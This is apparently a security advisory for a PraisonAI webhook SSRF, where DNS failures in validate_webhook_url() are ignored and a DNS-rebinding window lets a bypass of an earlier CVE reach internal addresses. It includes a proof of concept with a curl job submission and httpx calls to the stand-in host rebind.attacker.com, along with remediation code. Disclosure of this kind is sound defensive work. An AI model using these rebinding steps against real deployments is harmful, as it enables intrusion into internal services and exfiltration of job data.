VDB
KO
HIGH 7.1

GHSA-rg5q-pp8p-f7jm

PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114

Quick fix

GHSA-rg5q-pp8p-f7jm — praisonai: upgrade to the fixed version with the command below.

pip install --upgrade 'praisonai>=4.6.58'

Details

### Summary

`praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url()` validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (`socket.gaierror`), the validator **silently passes** the URL via `except socket.gaierror: pass`. Additionally, even when DNS succeeds at validation time, the webhook is fired much later by `JobExecutor._send_webhook()`, which calls `httpx.AsyncClient().post(job.webhook_url)` — performing a **fresh, independent DNS lookup** at execution time. Together, these flaws create a TOCTOU SSRF window.

An attacker can: 1. Submit a job with `webhook_url` pointing to a hostname that currently does not resolve (NXDOMAIN) → validation passes (`gaierror` → `pass`) 2. Update DNS to point that hostname to `127.0.0.1` or another private IP 3. When the job completes, `_send_webhook()` resolves the hostname fresh → POST sent to the internal IP

### Details

**Flaw 1 — Fail-open on DNS error (`jobs/models.py` lines 58-66):**

```python @field_validator("webhook_url") @classmethod def validate_webhook_url(cls, v): ... try: ip = socket.gethostbyname(hostname) ip_obj = ipaddress.ip_address(ip) if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local: raise ValueError("Webhook URL resolves to private network address") except socket.gaierror: pass # <-- FAIL-OPEN: DNS failure allows the URL without restriction return v ```

When `socket.gethostbyname(hostname)` raises `socket.gaierror` (NXDOMAIN, timeout, network error during validation), execution flows to `pass` and the URL is accepted.

**Flaw 2 — Fresh DNS at execution time (`jobs/executor.py` lines 376-406):**

```python async def _send_webhook(self, job: Job): async with httpx.AsyncClient(timeout=30.0) as client: response = await client.post( job.webhook_url, # <-- fresh DNS resolution here, not cached from validation json=payload, ... ) ```

`httpx.AsyncClient` creates a new connection per call. DNS is resolved at execution time, completely independent of the validation-time resolution. The gap between submission and execution can be minutes to hours (depending on job queue depth and timeout settings).

**Combined TOCTOU window:**

``` T=0 Attacker submits: webhook_url = "http://rebind.attacker.com/cb" Validation: socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN) Result: except socket.gaierror: pass → ACCEPTED

T=5 Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)

T=60 Job completes. _send_webhook() fires: httpx.post("http://rebind.attacker.com/cb") DNS: rebind.attacker.com → 127.0.0.1 POST reaches 127.0.0.1 → SSRF ```

**Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm:** That CVE covered "no URL validation at all" on the webhook_url parameter, patched in v4.5.126 by adding `validate_webhook_url()` to `jobs/models.py`. This finding targets the **validation code itself** — the `except socket.gaierror: pass` fail-open introduced in that patch. CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.

### PoC

**Requirements:** A domain you control with configurable DNS TTL, access to the jobs API

**Step 1 — Confirm fail-open behaviour (local code verification):**

```python from praisonai.jobs.models import JobSubmitRequest from unittest.mock import patch import socket

# Simulate: hostname temporarily does not resolve with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")): req = JobSubmitRequest( prompt="hello", webhook_url="http://rebind.attacker.com/callback" ) # No exception raised — URL accepted despite NXDOMAIN print("Webhook accepted:", req.webhook_url) ```

Expected: `Webhook accepted: http://rebind.attacker.com/callback`

**Step 2 — Confirm fresh DNS at execution time:**

```python # From jobs/executor.py _send_webhook(): # httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator) # Standard httpx behaviour: each .post() resolves DNS independently

import httpx, asyncio

async def demo(): # httpx resolves DNS here, not using any cached result from validation async with httpx.AsyncClient() as client: # This call resolves "rebind.attacker.com" fresh at runtime # If DNS changed since validation, it hits the new IP try: r = await client.post("http://rebind.attacker.com/callback", json={}) except Exception as e: print(f"Connection: {e}")

asyncio.run(demo()) ```

**Step 3 — Full attack scenario:**

```bash # 1. Set up domain with short TTL, currently returning NXDOMAIN # rebind.attacker.com → (no record, TTL=60)

# 2. Submit job via API curl -X POST http://praisonai-server:8000/jobs \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "prompt": "Calculate 2+2", "webhook_url": "http://rebind.attacker.com/callback" }' # Response: {"job_id": "job_abc123", "status": "queued", ...}

# 3. After 5 seconds (before job finishes), add DNS record: # rebind.attacker.com A 127.0.0.1 TTL=60

# 4. Wait for job to complete (seconds to minutes). # _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1 # POST request hits 127.0.0.1 (internal service)

# If 127.0.0.1:80 is running a service, it receives: # POST /callback HTTP/1.1 # Content-Type: application/json # {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...} ```

**Immediate variant (no DNS timing required):**

If DNS resolution fails transiently (rate limit, network blip, temporary outage) during validation, the webhook is accepted unconditionally even for a URL that would normally resolve to a private IP. No attacker control over DNS timing is required — the attacker simply retries submission during moments when their DNS server is unreachable (e.g., their DNS server is down, causing `gaierror`).

### Impact

**What kind of vulnerability:** Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.

**Who is impacted:** Any deployment exposing the PraisonAI Jobs API (`POST /jobs`) to external or lower-trusted callers. This includes:

- **Multi-tenant deployments** where workspace members submit jobs - **API integrations** (n8n, Zapier-style workflows) that provide `webhook_url` fields

**Post-exploit capabilities:** - HTTP POST to any internal service with JSON payload (job result data) - If an internal service interprets the POST body as commands (Jenkins webhook, Consul KV, etc.), this achieves code execution on internal infrastructure - Exfiltration of job results (which may include agent reasoning, data retrieved during the task, discovered credentials) to an attacker-controlled endpoint ```

---

## Remediation Suggestion (for maintainers)

**Fix 1 — Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**

```python # VULNERABLE except socket.gaierror: pass

# FIXED except socket.gaierror: raise ValueError( "Webhook URL hostname could not be resolved. " "Ensure the hostname is valid and publicly reachable." ) ```

**Fix 2 — Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):**

```python async def _send_webhook(self, job: Job): if not job.webhook_url: return # Re-validate to prevent DNS rebinding try: from urllib.parse import urlparse import socket, ipaddress hostname = urlparse(job.webhook_url).hostname ip = socket.gethostbyname(hostname) if ipaddress.ip_address(ip).is_private: logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}") return except Exception as e: logger.warning(f"Webhook validation failed at execution: {e}") return # ... proceed with httpx.post ```

Are you affected?

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Affected packages

PyPI / praisonai
Introduced in: 0 Fixed in: 4.6.58
Fix pip install --upgrade 'praisonai>=4.6.58'

References